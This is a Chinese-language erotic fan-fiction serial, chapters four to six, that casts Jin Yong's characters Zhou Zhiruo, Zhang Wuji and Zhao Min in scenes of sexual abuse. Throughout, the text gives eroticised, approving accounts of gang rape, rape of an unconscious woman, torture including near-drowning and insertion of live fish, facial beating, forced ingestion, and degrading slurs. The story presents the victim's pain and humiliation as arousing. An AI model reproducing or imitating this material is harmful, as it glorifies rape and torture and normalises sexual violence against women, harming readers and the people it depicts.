图片载入中

[原创]悲惨凄绝周芷若 第四~六章

特大字】 【大字】 【中字】 【小字

第四章

忘义张郎贪淫欲

可怜美颜抽变形

当假扮成渔民的蒙古兵从船舱内鱼贯走出,已经是两个时辰之后的事了,这两个时辰他们当然照办了金花婆婆的话,通通轮过周芷若身上的三个洞!

因看到心目中的女神周芷若被轮奸的场景而激起淫欲的张无忌,在这两个时辰也没闲着,与赵敏搞了个天翻地覆,操得美人郡主甚至昏了过去。

这时张无忌才回复神智,赶紧赶到船舱之外,恰巧碰到刚走出来,正意犹未尽谈论着的众渔夫们。

【啊∼真是舒服啊∼就是去嫖都没这样爽,有哪个婊子肯愿意一次给这么多人上,真是太刺激了∼】

【是啊∼真去窑子也没这么好的货色,天生丽质啊∼果真是汉人中的第一美女。】

【不知道他们峨嵋派是不是也有练下阴,被我们这么多人轮过居然还能夹得紧,真是爽!】

【呵呵∼不知道能顶个几天唷∼被我们轮过上下三洞,到后来叫都没声音了∼】

【她愈是忍着不叫愈想插得她叫!她愈是扮清高就想操得她发浪!她愈是可怜兮兮的就愈想用肉棒打她的脸!】

【这金花婆婆要去的岛不知到要航行多久?我好想一辈子待在这船上干这美人。】

【我看这金花婆婆俘虏她也就为了折磨她,说不定就将这美人扔给了我们,到时我们就将她养在王府,做我们的泄欲工具。】

众蒙古兵假扮的渔夫污言秽语的热烈讨论。

才刚跟赵敏大战完的张无忌听到这一番话,一股邪火又被燃起,好不容易等到鱼夫们都散尽,才蹑手蹑脚的走进船舱之中。

还未进船舱,已经能闻到精液的腥臭味,一入船舱,那腥臭味更是刺鼻,瘫倒在地上的周芷若双腿大开,浑身上下都是精液,两眼上吊着,杏唇微开,舌头半吐,浓稠的精液从嘴角流出,口腔中黏着数十根卷曲的阴毛,已然昏死过去。

张无忌走近看,裤档再度高高隆起,原本在船舱外偷看,已让他一发不可收拾,此时就近细看,更是让张无忌心跳不已。

可怜的周芷若,历经十多名蒙古兵轮奸干遍三洞,身上、脸上、乳上、阴道、屁眼、嘴里满是精液和唾液,甚至还有尿液,腥臭难当。一张俏脸被肉棒无情鞭打,给打得瘀青红肿,一对大奶也满是瘀青掐痕。被狠狠轮操过的小穴淫肉肿起,阴唇外翻,肛门被干得括约肌松弛,浓稠的精液从这两洞之中缓缓流出,不知道灌溉了多少进去。

张无忌知道此刻自己应该又恨又怒,毕竟周芷若是自己幼时恩人,两人成人之后见面更是互相有情,见到自己的情人被如此轮奸羞辱,他一点也无法生气恼怒,反而只有满满的兴奋和性欲高涨。

【芷若!】虽然有满心的愧疚,但张无忌还是不争气的脱下了裤子,挺出了肉棒,现在的他满心只想发泄欲火。

【芷若∼芷若∼】张无忌将肉棒放在周芷若嘴边来回摩擦,然后将肉棒塞入她的嘴中轻轻抽送,已经昏迷的周芷若自然无法替他口交,张无忌从她的嘴里无法得到发泄,邪火又起,抽出肉棒,狠狠的往周芷若脸上拍打。

“趴”张无忌这下打得大力,拍得甚响,原本他只是控制不住欲火,而模仿那些蒙古兵对她所做出的羞辱举动,但这么一做,张无忌却发现了居然快感异常,当下无法止歇,一下又一下用肉棒狠狠鞭打着周芷若的脸。

【啊∼芷若∼我受不了了!】张无忌鞭打着,终于受不了,拉起周芷若双腿,将肉棒挺进他的淫穴之中。

才刚被轮奸过,周芷若的阴道被撑得老开,里面更被注满了精液,而正昏迷的周芷若更不可能夹紧,张无忌一进入之后毫无紧实之感,大失所望,还挤出了一大坨精浆喷黏在他的下体上。

虽然周芷若没有想像中紧实,但张无忌已经收不住手了,他掐住周芷若的大奶用力吸吮,却吸进射在她奶子上的精液,只觉满嘴腥臭,恼怒的将这些精液和口水用力吐在周芷若脸上。

发怒的张无忌将怒火全宣泄在周芷若身上,反正周芷若此刻无知无觉,他也不用有什么顾忌,用力发狠猛干,直干周芷若淫肉翻飞,啪啪作响,连插了数百来下,最后全射进了周芷若的阴道中。

射完精后的张无忌终于较清醒了些,不禁有些愧疚,自己居然和那些禽兽一般,但适才的快感记忆犹新,他已经无法欺骗自己,就是喜欢看到周芷若被凌辱的样子。

之后可悲的周芷若成了众渔夫的肉便器,每日皆被每人轮遍身上三个肉洞,如此残忍的轮奸却无法让他们满足,因为周芷若正是那种让人愈折磨,看见她愈痛苦、愈悲惨,才会让人更觉快感的美人。

甲板上,全身一丝不挂的周芷若被塞进渔网中。

这几日她已被轮奸的麻痹了,她以为情形已不能再坏,却还有更坏。

【嘿嘿∼小美人,每天这样干你你也腻了吧?咱们来点刺激的,爷儿放你下去玩玩水,哈哈哈∼】众渔夫淫笑着,将在渔网里的周芷若擡起,然后噗通一声丢下海。

被困在渔网中的周芷若纵使识得水性,也毫无用武之地,随着船只前进,只能被拖在海水里,直呛得几乎窒息过去,好在不一会扮成渔民的蒙古兵们就将她拉了上来。

【咳咳咳∼】被拖到甲板上的周芷若脸色发青,呛咳着呕出海水,浑身湿透,冷得不住颤抖。

【哈哈∼这招果然有用,丢到海里洗一洗,不马上变干净了吗?】重蒙古兵笑道。原来周芷若连日被轮奸,浑身都是精液,这放到海水里一拖,将她身上的精液都冲洗掉了。

缩在甲板上的周芷若恶狠狠的瞪着他们,却冷得直打颤。

【喔∼这是什么眼神啊?你想杀了我吗?】一名蒙古兵扯住周芷若的头发,将她提了起来。

【半天没操你,逼痒了是吧?居然敢瞪你大爷!】他脱下裤子,用肉棒狠狠抽打周芷若的脸。

周芷若悲愤交集,却是不敢答话惹怒他,只尽力的将头别过去,忍住羞耻任由肉棒抽打。

【唷∼这会不敢看我了∼别过头去是在偷偷骂我吧?我要你看我,看我怎么用肉棒打你!】那蒙古兵将她的头硬转过来,用肉棒一下一下的正面直击。

周芷若脸上的水痕未干,被肉棒拍打起来啪啪作响,更是比平常更大声,这让蒙古兵们感到更加兴奋。

【想不到你这张脸沾了水被肉棒打起来更响了,这会不用肉棒抽你个百八十下怎么了得∼】众蒙古兵淫笑脱裤,纷纷围了上去,立马有五条肉棒各占一方,将周芷若的脸占满,此起彼落的抽打起来。

【哈哈∼真爽,咱们来比比看谁打得响!】一名蒙古兵建议。

【好啊!那打得最响的人可有奖赏?】另一名蒙古兵问。

【哈哈∼奖赏吗?让咱们慰安妇周芷若给生个胖娃吧!】那名蒙古兵答道,众蒙古兵哄笑成一团,那围着周芷若打脸的五名蒙古兵,便开始卯足了劲猛抽。

张无忌桥装成渔夫,本来就混迹在众蒙古兵中,只是碍着赵敏,没有跟着众蒙古兵一起轮奸周芷若。这几日来,他都一直看着周芷若被蒙古兵们糟蹋,最初的怜惜之心,已经随着邪念的增长几乎荡然无存,每次只要看到周芷若被他们奸淫羞辱,他就感到莫名的快感,就像现在,若不是赵敏就在身侧,他说不定已经跟着上去用肉棒抽打周芷若了。

【无忌哥,你说你的那位芷若姑娘怎地这般的下贱呢?被欺负成这样还莫不吭声,莫非她其实喜欢被肉棒鞭打?喔∼她在王府都为了苟且偷生自愿作慰安妇了,想必是很喜欢被男人奸淫,我看她也不用做什么侠女了,改去做鸡更合适。】赵敏故意说道。

周芷若被肉棒鞭打的可怜模样,彻底撩起张无忌的欲火,虽然他清楚周芷若断无可能是甘愿对蒙古人献身的,但赵敏这样抹黑羞辱,使得他更兴奋。

【芷若真是个贱骨头,真该去做鸡!】张无忌恍惚的答道,此刻他已被欲念宰制,他心想若是得到了周芷若,一定要将她卖去做婊子,每天接一百位客人,光是想到周芷若被人轮奸的欲仙欲死的神情,他就几乎要射了。

【芷若姑娘这等绝色去做婊子的话,生意肯定好,不知道一天能不能接一百个客人呢?】张无忌搓着肉棒兴奋的问。

【那是一定可以的,一百位还怕少呢!瞧芷若姑娘如此淫贱,三个洞都要塞满才能满足,一次要接三位以上的客人,所以要乘三,一天接三百位客人才够。】赵敏边笑着边蹲下来,舔起张无忌的肉棒。

【一天三百位啊∼真想看芷若姑娘被轮了三百人之后是怎样的光景。】张无忌兴奋的抱住赵敏的头。

【无忌哥哥,别再想周芷若这下贱的淫妇了,她都已经是百人玩过的烂货,就只配做妓女,根本配不上你。】赵敏吐出张无忌的肉棒道。

【是啊∼芷若只配做妓女,生得这么美,不让男人操太可惜了,最好就是做妓女,只要付钱谁都能上她,她也就是只能靠卖逼赚钱的货色。】欲火焚身的张无忌已经失去理智,故意说这些羞辱周芷若的话使他更兴奋。

【就是……像她这种贱货,最终就会被人玩到松掉,人老珠黄后在妓院当个老鸨。】赵敏继续挑逗着张无忌的肉棒。

【是啊是啊∼继续说∼继续说∼】张无忌痴迷的望着被众人围着用肉棒抽打的周芷若,一边让赵敏为他吹箫吹到射。

赵敏知道周芷若在他心中的地位已经荡然无存了,不过她的美色依旧吸引着张无忌,她计画着还要让周芷若被玩得更烂,让张无忌彻底对她失去兴趣。

肉棒抽打周芷若脸的声音愈来愈响,啪啪的声音甚至盖过了浪潮,把一直在舱中的金花婆婆给吵了起来。

【我道是什么声音,原来是你们这帮人用肉棒抽打这小贱货的声音,居然这么大动静,是想把她抽死吗?】金花婆婆笑道。

【抽死倒是不会,将这贱货的脸抽歪倒是有可能。】一名蒙古兵笑道。

【喔∼这倒是挺有意思的,如果你们能把周芷若的脸打变形,婆婆我重重有赏。】金花婆婆邪恶道。

【这可不简单啊∼估计的没日没夜的抽她个一月半月才有可能。】一名蒙古兵答道。

【可惜你们没这么多时间,再过两日就要到目的地了,这两天你们加把劲吧!】金花婆婆笑道,转身又回舱内。

听到此处的周芷若悲从中来,终于忍不住痛哭流泪,每日都要被轮奸已经够悲惨,现下他们更多了这耻辱的目标!

【啊∼哭了,别以为你哭了我们就会饶过你!】一名蒙古兵更用力的抽打。

【虽然把你这张俏脸打变形很可惜,但你放心,之后咱兄弟们会好好照顾你的,反正脸变形了,想把你卖去妓院也卖不出去了,就勉强收下来做慰安妇吧!】一名蒙古兵边笑着边用力鞭着。

【要怪就怪你生了一张欠人抽的脸,不用肉棒抽你的脸简直对不起良心啊!】一名蒙古兵哈哈笑道。

【可别顾着打她的脸,放着这贱货的骚逼不操啊!】一名蒙古兵钻进周芷若底下,肉棒用力一顶,进入穴中。【唷∼到海里一趟,这妞冷的连穴都缩紧了,夹的我好舒服啊!】

【喔∼是么?最近操得太凶,这贱货的逼的夹不紧了,连肛门都有些松弛,我这就来试试是不是又变紧了?】另一名蒙古兵将肉棒塞入周芷若的屁眼,【喔∼果然紧实多了,而且冰凉凉的。】说罢,开始操了起来。

周芷若又湿又冷,上下的肉穴遭到夹击,一张小脸又同时被五条肉棒狠狠抽打,崩溃的痛哭,她已经绝望了,落到金花婆婆手底,不知道自己最后会变成什么样子?

尽管周芷若哭得涕泪纵痕,蒙古兵们依然完全不怜香惜玉,反而更是兴奋,用肉棒抽打她的脸更是起劲,五条肉棒狠狠抽了近百下,将周芷若抽得浮肿涨红起来,才纷纷射在周芷若脸上。

周芷若的脸被五发精液铺满,将泪都参在一起了,分不清是泪是精,蒙古兵们不等她休息,转眼又是五条肉棒凑上,继续对着她的脸抽打,看来他们是势在必行,铁了心要将周芷若的脸打变形了!

待得所有蒙古兵都射了三发以上,已经是半夜了,周芷若整整被轮了六个时辰,脸也被肉棒鞭打了六个时辰,一张脸又是红肿又是瘀青,红一块青一块的,上面还被射满了一层黏稠的精液,更粘着无数根因抽打留下的阴毛。

众蒙古兵都干得累了,却还不想放过她,看着倒卧在甲板上,已经半昏迷的周芷若,又都兴起凌虐她的念头。

一名蒙古兵走上前去,撬开周芷若的嘴,将她脸上的精液和卷曲阴毛的刮了下来,全部塞进她的嘴里,逼她吃进去。

【一整天都没吃东西,肯定饿了吧?爷餵你吃阴毛拌精液,可得感谢我啊!】那名蒙古兵淫笑道。

被操了半天周芷若已提不起劲反抗,只能屈辱的慢慢咽下整坨拌着精液的恶心阴毛。

【乖!好吃不?别全吃完了∼】那名蒙古兵笑道,留下整根阴毛黏在她的嘴边,【留下一点在嘴边,让人家知道你是个爱吃阴毛的贱货!】他变态道。

【唉∼干了这么久这贱货都被干到不敢反抗了,真是无聊,看她这要死不活的样子就提不起劲,来点刺激的吧!】一名蒙古兵抓了条活鱼淫笑道。

【来∼爷让你爽上天!】他将那条活鱼塞进周芷若的穴里。

【喔∼啊啊啊啊∼】被塞进穴里的活鱼不断弹动挣扎,在穴里疯狂搅动着,周芷若吃痛惨叫,在甲板上滚动着。

【哈哈∼果然很爽吧!】【这娘们还是叫起来才够劲!】【听这贱货一叫,爷儿又硬了!】众蒙古兵笑道,又团团将周芷若围起。

【屁眼也塞一条吧!】一名蒙古兵又抓来一条活鱼,将滚动呻吟的周芷若按住,把活鱼塞入她的屁眼中。

【啊啊啊∼不要啊∼啊啊∼呃∼】周芷若失声惨叫,两眼一翻,下体狂贱淫水,失禁尿流。

【哈哈∼爽啊!这妞又翻白眼了!】【看她翻白眼立马硬了!】【还是翻着白眼的样子最销魂啊!】众蒙古兵举屌向前,又开始用肉棒抽打起周芷若的脸。

可怜的周芷若,在到达目的的这两天内,无时无刻都被肉棒抽打着脸,至靠岸时,整张脸已经肿得不成人样了,待浮肿消退,不知是否已经被打变形?

第五章

这章心里描写多而肉戏少,先跟想看肉戏的看官说声抱歉,我在“陈友谅调教周芷若”被人嫌说心里描写过少,所以此部故事着重的在于心里层面,并且力求保有原来人物的性格,和依循原有故事发展。

﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍﹍

各怀鬼胎心计沈

荒岛定情初献吻

金花婆婆一行人上了灵蛇岛之后的故事,不知剧情的就去看原作吧!本座旨在情色描写,其余的部分就略过。让我们直接进入周芷若盗宝刀宝剑流放赵敏后,与张无忌和谢逊在荒岛的日子。

却说张无忌为了驱毒,不得不碰触周芷若的肚腹以运功,谢逊于是替两人做主订婚,以免去男女之嫌。

对于周芷若的感情,张无忌原是敬重而怜爱,在心中奉为女神一般神圣不可侵犯,凡人不可亵渎,但在亲眼目睹周芷若被轮奸那凄楚的媚态,对她的感情已转为迷恋而痴狂,再无半分敬重同情。此刻她对周芷若的爱已经变成一种病态的恋物情节,他想得到她,却不想占有她,就跟挖掘到一件好玩的事物,而希望跟大家分享一样,现在的周芷若在他心中便是这样的存在。

会有这样剧烈的心态转变,其根源有一部分当然要怪张无忌犯贱的男人心态,在周芷若时还是处女时,他觉得她是那样圣洁,是那么高不可攀,带周芷若遭人轮奸过后,在男人的心态下瞬间就一文不值,觉得她也不过就是如妓女一般任人玩弄的女子。不过,最主要的原因,还是因为周芷若受虐的模样,实在太让人着迷。

荒岛上张无忌帮周芷若驱尽体内最后的十香软筋散余毒,在这之前每次驱毒与周芷若的接触,都让张无忌欲火焚身,几乎不能把持,只要一想到周芷若在船上受蒙古兵凌辱的情景,他便无可自制的勃起。尤其是想到在船上最后那两日,周芷若的小脸全天候被肉棒抽打,那崩溃惨哭的神情,他便会兴奋的从马眼分泌出一些精液。

而最后周芷若的脸到底有没有被打变形呢?张无忌不得而知,因为在下船之后周芷若便一直蒙着面不肯露脸。周芷若特地如此代表她的脸确实怎么了,很奇怪的,自己的未婚妻面容可能受损,他却感到很兴奋!

虽然亟欲想看看周芷若的脸究竟怎么回事,但周芷若矜持非常,说什么也不肯拿下来,其实好几次张无忌都快忍不住硬上了,但周芷若除了驱毒之外连手都不给碰,这让他兴起了想征服她的欲望,他倒要看看这已经是残花败柳的女人还能假矜持多久?

其实周芷若一直不给碰,一部分是出于矜持,而最大部分是因为羞耻,她并不知道张无忌在船上已经看过她被轮奸,甚至偷偷奸过她,因为张无忌骗她说是搭另一艘船过来的(这里跟原作不同请别计较)。她以为张无忌还当自己是处女,才会答应订婚,却不晓得自己从王府被掳以来至今,已经被超过百位的蒙古人奸过,甚至可能已经怀下孽种。

她是喜欢张无忌的,但是一想到正式成亲之后,行房时张无忌看到她阴部被刺下耻辱的“慰安妇”字样会有怎样的心情?她就不敢面对他。

驱毒终于完成,而张无忌并没有将手抽回来,反而开始不安分的朝上下移动,他已经压抑不住他的性欲,另一手搂住周芷若的腰,硬挺的肉棒隔着衣物顶在她的后腰。

【无……无忌哥?】周芷若又羞又惊,欲抓住那只不安份的手,但却只是轻轻握住,并没有进一步的阻止。

这几日来虽然张无忌一直没有对她乱来,但她从他的眼神看出他对自己身体的渴望,虽然她曾对着灭绝发过毒誓不会爱上张无忌,但为了光大峨嵋,成为明教的教主夫人,是最快的捷径,所以自从与张无忌再见时,她便开始有计划性的诱惑他。

盗取宝刀宝剑后,杀蛛儿、流放赵敏,就是为了张无忌和自己相处,她早知张无忌对自己有意,在这荒岛上一番相处下来,更会日久生情,一切随她计画,甚至往更好的方向发展。狮王作主让他们订了婚,而张无忌比预料中的更难把持,尚未成亲便以按耐不住,若是能够怀下张无忌的种,一切就很完美了,周芷若这样想着。

但阴部那耻辱的“慰安妇”刺字,若是被看到了,势必无法隐瞒自己已非处女之身,还有那脸上的伤……被那些蒙古兵连日用肉棒抽打脸部,光用手触摸和感觉就知道脸已然受伤了,但因为没有镜子,她无法得知到底伤得如何?看不看得出来?只能每日触摸,来判定应该是消肿了些。

这几日已经吊足了张无忌胃口,周芷若知道她没有选择的余地,被轮奸过的事终究无法隐瞒,只能希望张无忌不会嫌弃她,还有∼利用自己的肉体征服他!

张无忌的手已经完全伸进她的衣下,搓揉着周芷若丰满的巨乳,硬挺的鸡巴隔着衣裙在她的股沟间摩擦,不断分泌出淫液。

会过百多位男子的周芷若,心中明白自己对男人的诱惑,也了解如何挑得男人性起,几番欲拒还迎后,开始配合起张无忌的爱抚,轻轻低吟起来。因为满脑子只是想勾引张无忌,她自己也不晓得自己是否真为情郎的抚摸而感到欢愉,不过她无法否认,淫欲也已经被挑逗起来,因为那小淫穴也已开始分泌出淫水。

得到周芷若的回应,张无忌又惊又喜,就算是在船上周芷若每日被轮奸,也从未真正配合的发出呻吟或是淫叫过,周芷若虽受人玷污却依然保持着的圣女形象,在这一瞬间瓦解,原来,周芷若也有淫荡的时候!

春情荡漾的周芷若,比起受人凌辱那可怜的模样,更是一番风味,虽然还未看见她的脸,但光听她那有些压抑却又情不自禁的呻吟声,娇弱的身子跟着扭动,乳头在玩弄之下羞耻的挺立,细小的汗水漫布在光滑的肌肤上,张无忌就兴奋的几乎射出来!

【芷若!给我好吗?】张无忌亲着周芷若的细白后颈,痴茫地问。

【无忌哥哥,但是……我们还未正式成亲。】周芷若娇羞地道。

【在这座孤岛,也不知何时才能得救?难道一辈子无船来救,我们就要当一辈子有名无实的夫妻吗?】张无忌拨开周芷若的衣襟。

周芷若本来就只是想吊他胃口而已,如今见张无忌已经忍不住了,也不再抗拒,任由他将自己的衣裙一件件褪下。

张无忌将背对着自己的周芷若全身扒光,周芷若曲线撩人的美背和丰满的翘臀映在眼前,他将周芷若那一头秀发拨到一旁,欣赏她美丽的背嵴,周芷若的纤腰极细,张无忌揽住了她的腰,将她转了过来。

最先冲入眼底的,是那两颗傲人巨乳,周芷若这两粒大奶,又白又挺,两粒乳头已经兴奋的挺立了,在之前周芷若的乳头还是粉红色的,但经历过蒙古兵不断搓揉,已有些暗沈。张无忌想到这对美乳在船上给蒙古兵们肆意的抓揉过,甚至乳交过数十次,心中就更兴奋了。

抓揉着周芷若无法一手掌握的大奶,张无忌的目光继续往下,虽然周芷若害羞的夹紧双腿,却还是遮不住阴部上那耻辱的刺字。

【无忌哥,你看到了吗?】周芷若幽幽地问,脸上尽是不安。

张无忌点点头。

在渔船上时,周芷若每日被蒙古兵轮奸,衣服根本没有穿上的时候,这刺青他自然早就看过了,问过赵敏之后,他也知道周芷若在万安寺的遭遇,是以他毫不惊讶,只是这些周芷若并不知情,所以他装作吃惊的模样。

【芷若,莫非你已非完璧之身了吗?】张无忌明知故问,其实就是希望听到周芷若羞耻的自己讲出被轮奸的事,

【是,无忌哥,其实我在万安寺已经失身于蒙古鞑子,请原谅我隐瞒你……】周芷若悲从中来。

【这……你被他们轮奸了吗?】张无忌故意问。

周芷若委屈的点点头。

【被……多少人?】张无忌装作悲愤的问,其实心里很兴奋。

【一……一百人。】周芷若忍不住啜泣起来。

【无忌哥……你会嫌弃我吗?】周芷若不安的问。

张无忌故意不答,故作忧郁的替她把脉,然后装作松了口气道:【好险你并未受孕,若是你怀了鞑子的杂种,那么我就……我就不知该如何是好了。】

张无忌故意装出非常在意的样子,便是要让周芷若感到不安,其实他早就藉机替周芷若把过脉,确认她并未被奸至受孕,否则也不会答应与周芷若订婚,虽然他喜欢看周芷若被奸淫,可不代表他肯帮别人养孩子。

周芷若自然不知张无忌心思,只见张无忌似乎非常难以释怀,只是因为自己没有怀上孽种才免强接受,当下慌了,决定更加卖力的诱惑。

【他们这样糟蹋你,还在你身上刺下此等污辱字样,当真可恨!芷若,那你的脸呢?该不会∼他们将你毁容了?】张无忌见周芷若的表情已知道他的技俩奏效,今后周芷若必定百依百顺,为了讨好自己使出浑身解数,当下称胜追击。

周芷若此时心慌意乱,一时也想不到什么可以搪塞,只好据实以告:【他们并未将我毁容,但……在我来的渔船上,金花婆婆封住我的穴道,令船员们轮奸我,那些船员也是蒙古兵假扮的,他们在船上不停羞辱我、虐待我,还……还打伤我的脸……】周芷若说道伤心处,忍不住哭了出来。

【芷若,说清楚些,他们用什么东西打伤了你的脸?】张无忌追问,面对周芷若的楚楚可怜,他丝毫未感到同情,只感到无比的兴奋。

【他们……他们用肉棒打我的脸,一直……一直不停地打……】说到这,周芷若已经泣不成声。

【芷若,让我看看你的脸好吗?我精通医术,必定可以将你治好的,别害怕∼】张无忌温言道。

周芷若也知这样遮掩下去不是办法,而且自己也不清楚伤得如何?若是严重到不医治会留下疤痕的话,那可是从此毁容了,张无忌精通医术,虽然丢脸,但也只能给他看看了。

当周芷若揭下面罩之时,张无忌心中怦咚地跳,那一刻他也不晓得自己到底期待看到什么,他似乎变态的盼望见到周芷若被肉棒抽的变形的脸,耻辱羞愧的带泪扑入她的怀中,却又希望她的脸能完好如初,毕竟她仍然是他想得到的女人,并且他们已有了婚约。

邪恶和理智在心中冲击着,张无忌终于看清周芷若的脸,然后瞬间硬了!

周芷若的脸上青一块紫一块,数道有着清晰的阴茎轮廓的红印,耻辱的印在脸上,眼皮和嘴唇边皆浮肿着,一张俏脸虽然没有被抽歪,但也几近毁容了。

虽然周芷若脸乍看之下严重非常,但张无忌精通医术,只看一眼便知周芷若的脸只是些肿胀和瘀青,并无大碍,只要以药膏敷抹,不出几日便能痊愈,甚至不会留下疤痕,虽然这岛上并无草药,但这等伤势就算不接受医治,过段时间自然也会消肿渐渐痊愈。

这种情况对张无忌来说是最好的,因为他既想看周芷若脸被抽的变形的悲惨模样,又不忍未婚妻脸上真有什么损伤,现在这种状况令他满意极了,他更想到这还是已经稍微消肿之后的结果,若是周芷若刚下船那时,肯定是更加惨不忍睹,光是想像周芷若被肉棒鞭的面目全非的样子,他就兴奋的马眼不禁分泌出一些精液。

周芷若见张无忌这目瞪口呆的样子,心中已然凉了一半,这岛上自然无镜,她知道自己的脸被肉棒鞭的发肿,却不知道底严重到什么地步,是以一直遮掩。等了这么长一段时间,用手触摸已感觉消退不少,但看张无忌的表情,她知道脸上的伤终究明显。

【无忌哥,我的脸有救吗?还是……我真的已经毁容了?】周芷若惶恐的问。

【芷若,你不必担心,你的脸只是有些肿胀和瘀青,不碍事的,再过些时日自动会好,也不会留下疤痕的。】张无忌安慰道。

【真的吗?】周芷若喜极而泣,扑在张无忌怀里,这些日子以来她最担心的就是这张脸,如今得知脸上的伤终能复原,总算如释重负。

美人在怀,张无忌再也无法把持,将周芷若向上一抱,与她拥吻起来。

周芷若被张无忌突来的深吻吓到,但随即想起自己要用肉体征服张无忌,可不能再处于被动,于是将张无忌抱得更紧,伸出舌头与之交缠。

两人激烈蛇吻了好一会,直到双方几乎都快喘不过气了才终于分开,周芷若深情的望着张无忌,这猛烈的激吻竟使得她下体氾滥成灾,张无忌的肉棒也兴奋无比,但脑海中浮现的却是周芷若被人强吻轮上的屈辱情景。

周芷若从张无忌的眼神中,看出她对自己无法自拔的淫欲,她知道只要自己能满足他,就能控制他了。

她将纤纤玉手伸向张无忌的跨下,轻轻握住了他的囊袋,张无忌全身一震,她又将手慢慢游移向上,最后温柔的握住他的肉棒,轻轻套弄起来。

【好舒服啊∼芷若∼】张无忌舒服地道,周芷若那柔软的小手握住他的肉棒,温柔的上下套弄着,力道适中,比自己自渎不知道爽上多少倍。

周芷若媚然一笑,低下头,吻了吻张无忌的龟头,张无忌又抖了一下,周芷若又是一笑,整个人趴在他的跨下,淫荡的舔遍他的肉棒。

张无忌舒服极了,尽力压抑住自己别射,周芷若舔遍他整根肉棒后,忽然一张口,将他的龟头含住,然后笑眼望着他,慢慢的吞进他的肉棒。

在船上张无忌也插过周芷若的嘴,但那是在周芷若无意识的时候,如今是周芷若主动为他吹箫,那舒服程度完全无法比拟,看着自己的肉棒一点一点没入周芷若的小嘴中,那温热湿润的感觉搭配眼前的视觉享受,真是无比的至福。其实张无忌没想到周芷若竟会主动帮他吹,因为在船上时周芷若也不曾主动替人吹过,大部分都是那些蒙古兵按着她的头用力插她的嘴,即使逼迫她吹箫,她也只是不情不愿的含个两下而已。

周芷若终于将整根肉棒吞没,将脸埋在一大团阴毛中,她将脸微微擡起,露出一个淫笑,然后猛地开始前前后后含弄起来。

张无忌呻吟一声,几乎就要射了,周芷若手口并用,一只手按摩着张无忌囊袋,一只手轻轻套弄着肉棒根部,一张嘴不只卖力的含弄,并搭配着吸吮和舌头舔弄。

周芷若在万安寺经过百人调教,口活的技巧甚至已经大胜职业的娼妓,此时全力施为,张无忌怎能抵挡得住,周芷若见张无忌已经到达临界点了,最后加强火力,握住肉棒用力套弄,大张着嘴吐出舌头舔弄着龟头绕圈,终于张无忌低吟一声,射了出来!

张无忌的精液喷射的又快又猛,狠狠的射入周芷若的小嘴中,周芷若即时的将龟头含入,一边舌头还不安份的狂舔弄龟头,让张无忌在她嘴里口爆,但张无忌射的一发不可收拾,大量的精液一下子灌满她的嘴,令周芷若不得不松开口。

大量的精液从周芷若口中爆出,张无忌的肉棒也从她嘴中弹出,还在疯狂的射精,周芷若闭上眼睛张开嘴,任张无际握住肉棒用力将精液喷射在她脸上,她知道,男人总喜欢射在她脸上。

张无忌这一炮精足足射了十几秒,浓稠的精液将周芷若的脸整个覆盖住了,周芷若待他射完,吃力的睁开被精液煳住的眼,再度含入肉棒,用力吸了起来。

张无忌见周芷若吸的脸颊都凹陷了,兴奋的下体抖擞,居然又射了一点出来,周芷若吸了好一会,将张无忌肉棒里的残存精液全吸了出来,这才松口让软掉的肉棒掉出。

第六章

羞耻情话意乱迷

为缚夫君愿受孕

第一次体会到被吹箫的快感,张无忌在这瞬间甚至产生了要将周芷若独占的想法,但看见周芷若被射了一脸精液底下的鞭痕,又想起她被一群男人围起来用肉棒抽打的可悲模样。

无法自制变态的欲望,张无忌甩着刚射完精而软垂的鸡巴,啪搭啪搭一又一下的在周芷若的脸上甩打着。

周芷若抖了一下,又震惊又委屈的看着张无忌,哀求道:【无忌哥,别……别这样,疼∼】边说嘴角边涌出精液。

【放心吧芷若,我不会太用力的,不会将你打伤的。】张无忌完全没有收手的意思,不断搓弄着鸡巴,不停拍打着她的脸,这举动让他更兴奋,鸡巴又慢慢开始充血。

【无……无忌哥……】周芷若被张无忌抽得生疼,吃痛闪躲,却被张无忌按住头,只能可怜兮兮的哀求:【无忌哥……我不喜欢这样……别这样对我好吗?】

【芷若,那些蒙古鞑子,也是这样用肉棒抽打你的吧?你让他们这样对你,却不让你的丈夫这样对你?】张无忌边抽打着,鸡巴慢慢又胀大起来。

【这……我是被逼的,并不是自愿让他们打的……】周芷若被打的快要哭了出来,其实张无忌也并没有真的使劲抽,但心爱的人居然也如此对待自己,实在是比被歹人凌辱更百倍的痛。

见到周芷若可怜的模样,张无忌想狠狠凌辱她的欲望再度上升,但他想现在就开始凌辱她,就无法看到周芷若为了取悦自己而现出的淫荡模样了,于是他强压住自己的欲望,温言道:【芷若,我这不是在惩罚你啊∼而是为了你让我舒服给你的奖励,丈夫用肉棒拍打满足自己的妻子的脸颊,是一种犒赏的行为啊∼】张无忌开始编造谎言调教。

这谎言当然不能完全说服周芷若,但也让周芷若有些动摇了,至今为止每个上过她的男人总会对她的身体凌辱,这也让她对性爱观念偏颇了,男人似乎总喜欢用肉棒抽打她的脸,虽然她不觉得这会是什么犒赏的行为,但不可否认,那些男人都因此得到快感,既然张无忌这么做会感到愉快,自己也只能配合了。

周芷若不再抗拒了,还仰起头,主动迎着肉棒的拍击,弱弱地道:【那无忌哥,你可要轻点。】

此时张无忌已经完全硬挺了,硬梆梆的肉棒拍打在周芷若的小脸上啪啪有声,看着周芷若不情愿却又无可奈何的神情,承受着拍击不断抽动的脸,精液被拍击飞溅的情景,张无忌是愈来愈兴奋,不过他也未忘记安抚周芷若:【芷若,你放心吧∼我不会弄伤你的,我怎会舍得娇妻脸上有什么损伤呢?】说完张无忌不再拍打,改用戳弄,用肉棒顶弄的周芷若脸部变形,然后不自禁的微笑。

在情人眼中,周芷若当然看不出张无忌这个笑容是隐藏了变态的心理,她只当男人会想用肉棒抽打戳弄女人的脸是很正常的事,虽然感觉很耻辱,但也只能接受了。

张无忌戳弄了好一会,才终于将目标转往下,周芷若的双腿依然紧夹着,张无忌暗骂了声“假矜持”,有些粗鲁的拉开她的双腿。

被拉开双腿的周芷若羞愧的用双手遮住自己的脸,而张无忌则目不转睛的端详着她的穴。

